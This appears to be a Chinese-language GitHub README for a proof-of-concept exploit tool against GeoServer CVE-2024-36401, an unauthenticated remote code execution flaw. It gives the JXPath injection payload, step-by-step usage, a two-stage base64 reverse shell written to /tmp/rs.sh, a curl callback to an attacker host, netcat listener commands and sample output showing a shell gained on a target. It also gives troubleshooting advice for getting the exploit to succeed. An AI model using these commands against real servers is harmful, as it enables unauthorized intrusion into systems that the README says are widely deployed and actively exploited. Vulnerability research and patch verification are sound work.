Delt-A/CVE-2024-36401-poc

GitHub: Delt-A/CVE-2024-36401-poc

针对 GeoServer CVE-2024-36401 未经认证远程代码执行漏洞的 Python 利用工具,通过 OGC filter 的 XPath 注入实现命令执行与反弹 shell。

Stars: 0 | Forks: 0

# CVE-2024-36401 — GeoServer OGC XPath 注入 RCE ![Python](https://img.shields.io/badge/Python-3.9%2B-blue?style=flat-square&logo=python) ![CVE](https://img.shields.io/badge/CVE-2024--36401-critical?style=flat-square&color=red) ![CVSS](https://img.shields.io/badge/CVSS-9.8-critical?style=flat-square&color=darkred) ![License](https://img.shields.io/badge/License-MIT-green?style=flat-square) 针对 **GeoServer** 的无需认证的远程代码执行漏洞利用,通过 OGC filter `valueReference` 参数注入(XPath/JXPath 求值)实现。 ## 目录 - [概述](#overview) - [受影响版本](#affected-versions) - [技术细节](#technical-details) - [环境要求](#requirements) - [安装说明](#installation) - [用法](#usage) - [示例](#examples) - [工作原理](#how-it-works) - [故障排除](#troubleshooting) - [参考](#references) ## 概述 GeoServer 是一个开源的 Java 服务器,用于共享地理空间数据,广泛部署于政府、企业和研究环境中。CVE-2024-36401 允许**未经认证的攻击者**通过向 OGC (Open Geospatial Consortium) filter 参数中注入 Java 表达式,在主机上执行任意的操作系统命令。 由于在野外被活跃利用,该漏洞于 2024 年 7 月被添加到 **CISA 已知被利用漏洞 (KEV)** 目录中。 ## 受影响版本 | 分支 | 受影响版本范围 | 修复版本 | |--------|--------------------|----------| | 2.23.x | < 2.23.6 | 2.23.6 | | 2.24.x | < 2.24.4 | 2.24.4 | | 2.25.x | < 2.25.2 | 2.25.2 | ## 技术细节 GeoServer 使用 **GeoTools** 库来评估 OGC filter 表达式。 `valueReference` 参数(以及其他参数如 `CQL_FILTER`)在未经过滤的情况下被传递给 Apache Commons JXPath 的 `JXPathContext.selectNodes()` 方法。 JXPath 支持通过类似如下的表达式调用任意 Java 方法: ``` exec(java.lang.Runtime.getRuntime(), 'id') ``` 在某些 endpoint 中,这种求值发生在身份验证**之前**,使得该漏洞可以完全在未认证的状态下被利用。 **存在漏洞的 endpoint:** - `POST /geoserver/wfs` — 包含 `valueReference` 的 `GetPropertyValue` 请求 - `GET /geoserver/ows` — 通过查询字符串传递的相同参数 **关键技术说明:** 在 `valueReference` 表达式中,命令字符串必须使用**单引号** (`'`) 包裹。双引号 (`"`) 会导致 XML 解析失败并阻止执行——这是其他公开 PoC 中常见的陷阱。 ## 环境要求 - Python 3.9+ - `requests` 库 - 运行着存在漏洞版本的 GeoServer 的目标主机,且至少有一个可用的 WFS feature type(默认的示例数据工作区 `sf`、`topp`、`tiger` 即满足条件) ## 安装说明 ``` git clone https://github.com/Delt-A/CVE-2024-36401-poc cd CVE-2024-36401-poc pip3 install requests ``` 或者直接安装依赖项: ``` pip3 install requests ``` ## 用法 ``` usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT] [-c CMD] [-f FEATURE] options: -h, --help show this help message and exit -t, --target TARGET Target URL, e.g. http://:8080 -l, --lhost LHOST Your IP address for reverse shell callback -p, --lport LPORT Listener port (default: 4444) -c, --cmd CMD Single command to execute (no output returned) -f, --feature FEATURE Feature type override (auto-detected if omitted) ``` ### 模式 | 模式 | 标志 | 描述 | |------|---------|-------------| | 反弹 shell | `-l LHOST -p LPORT` | 通过 bash 实现的两阶段反弹 shell | | 命令执行 | `-c CMD` | 执行单条命令(无回显) | | 覆盖 feature type | `-f FEATURE` | 跳过自动检测,使用指定的 feature type | ## 示例 ### 1. 反弹 Shell(推荐) 首先启动一个监听器: ``` nc -lvnp 4444 ``` 然后运行漏洞利用: ``` python3 exploit_CVE-2024-36401.py \ -t http://:8080 \ -l \ -p 4444 ``` 预期输出: ``` _______ ________ ___ ____ ___ __ __ _____ _____ __ __ ____ / ____/ | / / ____/ |__ \ / __ \__ \/ // / |__ // ___// // / / __ \ / / | | / / __/________/ // / / /_/ / // /_______ /_ :8080 [+] GeoServer detected — version: 2.24.2 [+] Version 2.24.2 is VULNERABLE [*] Probing feature types... [+] Feature type: sf:archsites [*] Feature type : sf:archsites [*] Listener : :4444 [*] Start : nc -lvnp 4444 [*] Stage 1 — writing /tmp/rs.sh on target... [+] Payload delivered via sf:archsites [*] Stage 2 — executing → :4444 [+] Done — check your listener ``` 在监听器上: ``` Connection received on 43210 bash: cannot set terminal process group: Inappropriate ioctl for device bash: no job control in this shell geoserver@target:~$ ``` ### 2. 命令执行(无回显) 执行命令但不接收输出。适用于带外验证或文件写入: ``` # 通过文件创建验证执行 python3 exploit_CVE-2024-36401.py \ -t http://:8080 \ -c "touch /tmp/pwned" # 触发 curl callback 以确认执行 python3 exploit_CVE-2024-36401.py \ -t http://:8080 \ -c "curl http://:8000/pwned" ``` ### 3. 手动指定 Feature Type 如果自动检测失败,请提供目标主机上一个已知的 feature type: ``` python3 exploit_CVE-2024-36401.py \ -t http://:8080 \ -l \ -p 4444 \ -f topp:states ``` GeoServer 示例数据中常见的 feature type: | 工作区 | Feature Type | |-----------|-------------| | `sf` | `sf:archsites`, `sf:bugsites`, `sf:roads`, `sf:streams` | | `topp` | `topp:states`, `topp:tasmania_cities`, `topp:tasmania_roads` | | `tiger` | `tiger:giant_polygon`, `tiger:poi`, `tiger:tiger_roads` | | `cite` | `cite:Buildings` | ## 工作原理 该漏洞利用发送了一个带有恶意 `valueReference` 表达式的 `GetPropertyValue` WFS 请求: ``` exec(java.lang.Runtime.getRuntime(),'COMMAND') ``` 对于反弹 shell,采用了**两阶段方法**,以避免在 `exec()` 单字符串参数中出现 shell 元字符带来的问题: **阶段 1** — 使用 base64 编码和 shell 大括号扩展将反弹 shell 写入 `/tmp/rs.sh`(exec 字符串中不包含空格): ``` bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{tee,/tmp/rs.sh} ``` **阶段 2** — 执行该脚本: ``` bash /tmp/rs.sh ``` 这种方法避免了在第一次 `exec()` 调用中对 shell 解释器的依赖,使其在不同系统配置下均能稳定工作。 ## 故障排除 **`[-] Cannot connect to target`** - 验证目标 URL 和端口是否正确 - 确认 GeoServer 正在运行:`curl http://:8080/geoserver/web/` **`[-] No usable feature type found`** - 可能未安装 GeoServer 示例数据 - 尝试使用 `-f :` 指定自定义的 feature type - 列出可用类型:`curl "http://:8080/geoserver/wfs?request=GetCapabilities"` **`[+] Payload delivered` 但未收到 shell** - 确认在发送漏洞利用之前监听器已运行 - 检查防火墙规则 — 目标主机必须能够访问你的 `LHOST:LPORT` - 一些 PoC 在命令周围使用双引号 (`"`) — **这无法奏效**。 请确保在 `valueReference` 表达式中使用单引号 (`'`)。 **`[!] Version X.X.X may be patched — attempting anyway`** - 无论版本检测结果如何,脚本始终会尝试进行漏洞利用 - 如果 About 页面被限制访问,版本检测可能会失败;但漏洞利用可能仍然会成功 ## 参考 - [NVD — CVE-2024-36401](https://nvd.nist.gov/vuln/detail/CVE-2024-36401) - [GitHub Advisory — GHSA-7g64-hx6g-4427](https://github.com/advisories/GHSA-7g64-hx6g-4427) - [GeoServer 安全公告](https://geoserver.org/announcements/2024/07/01/geoserver-2-25-1-released.html) - [CISA KEV 目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) - [GeoTools JXPath 补丁](https://github.com/geotools/geotools/security/advisories/GHSA-7g64-hx6g-4427) ## 许可证 本项目基于 MIT 许可证授权。详情请参阅 [LICENSE](LICENSE)。
标签:威胁模拟, 逆向工具